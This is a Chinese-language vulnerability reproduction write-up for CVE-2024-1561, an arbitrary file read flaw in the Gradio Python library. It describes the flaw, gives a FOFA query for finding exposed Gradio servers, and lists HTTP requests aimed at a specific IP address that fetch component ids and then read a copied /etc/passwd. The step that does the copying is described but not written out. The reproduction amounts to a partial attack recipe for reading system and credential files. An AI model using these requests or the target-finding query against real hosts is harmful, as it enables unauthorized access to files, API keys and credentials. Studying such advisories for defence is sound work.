python Gradio插件存在任意文件读取漏洞(CVE-2024-1561)
一、漏洞简介
Gradio是一个开源的Python库,用于创建机器学习模型的交互式界面。它使得展示和测试模型变得简单快捷,无需深入了解复杂的前端技术。广泛应用于数据科学、教育、研究和软件开发领域,尤其适合于快速原型设计、模型验证、演示和教学。Gradio的/component_server接口不正确地允许使用攻击者控制的参数调用Component
类的任何方法。具体来说,通过利用Block
类的move_resource_to_block_cache()
方法,攻击者可以将文件系统上的任何文件复制到临时目录,然后检索它。该漏洞允许未经授权的本地文件读取访问,尤其是当应用程序通过launch(share=True)
暴露到互联网时,从而允许远程攻击者读取主机机器上的文件。此外,托管在huggingface.co
上的gradio应用也受到影响,可能导致敏感信息,如存储在环境变量中的API密钥和凭据的泄露。
二、影响版本
- Gradio
三、资产测绘
- fofa
body="__gradio_mode__"
四、漏洞复现
首席获取components的id值
GET /config HTTP/1.1
Host: 101.35.228.120
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
携带id值将/etc/passwd文件的内容写入临时文件
读取文件
GET /file=/tmp/gradio/4985ef451ed671433e69560a0edc00761e44efab/passwd HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Accept-Encoding: gzip